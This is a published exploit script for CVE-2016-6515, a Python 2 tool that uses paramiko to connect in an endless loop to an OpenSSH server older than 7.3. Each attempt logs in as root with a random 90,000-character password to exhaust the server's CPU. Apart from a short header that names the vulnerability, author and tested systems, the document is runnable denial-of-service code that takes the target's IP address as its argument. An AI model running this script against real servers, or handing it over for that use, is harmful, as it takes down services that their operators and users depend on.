OpenSSH 7.2 Denial Of Service

`################################################################################  
# Title : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)  
# Author : Kashinath T ([email protected]) (www.secpod.com)  
# Vendor : http://www.openssh.com/  
# Software : http://www.openssh.com/  
# Version : OpenSSH before 7.3  
# Tested on : Ubuntu 16.04 LTS, Centos 7  
# CVE : CVE-2016-6515  
# Date : 20-10-2016  
#  
# NOTE:  
# If the remote machine is installed and running OpenSSH version prior to 7.3,  
# it does not limit the password length for authentication. Hence, to exploit  
# this vulnerability' we will send a crafted data which is of 90000 characters  
# in length to the 'password' field while attempting to log in to a remote  
# machine via ssh with username as 'root'.  
#  
# For more info refer,  
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption  
################################################################################  
  
import sys  
from random import choice  
from string import lowercase  
  
try:  
import paramiko  
except ImportError:  
print "[-] python module 'paramiko' is missing, Install paramiko with" \  
" following command 'sudo pip install paramiko'"  
sys.exit(0)  
  
  
class ssh_exploit:  
  
def __init__(self):  
"""  
Initialise the objects  
"""  
  
def ssh_login(self, remote_ip):  
  
try:  
# Crafted password of length 90000  
passwd_len = 90000  
crafted_passwd = "".join(choice(lowercase)  
for i in range(passwd_len))  
  
# Connect to a remote machine via ssh  
ssh = paramiko.SSHClient()  
ssh.load_system_host_keys()  
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
  
# calling connect in infinite loop  
print "[+] Entering infinite loop"  
while 1:  
ssh.connect(remote_ip, username='root',  
password=crafted_passwd)  
  
except Exception, msg:  
print "Error in connecting to remote host : ", remote_ip  
print "Exception in : ssh_login method."  
sys.exit(msg)  
  
  
def main():  
  
if len(sys.argv) != 2:  
print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"  
sys.exit()  
  
# Calling ssh_connect  
ref_obj = ssh_exploit()  
ref_obj.ssh_login(sys.argv[1])  
  
  
if __name__ == "__main__":  
main()  
  
`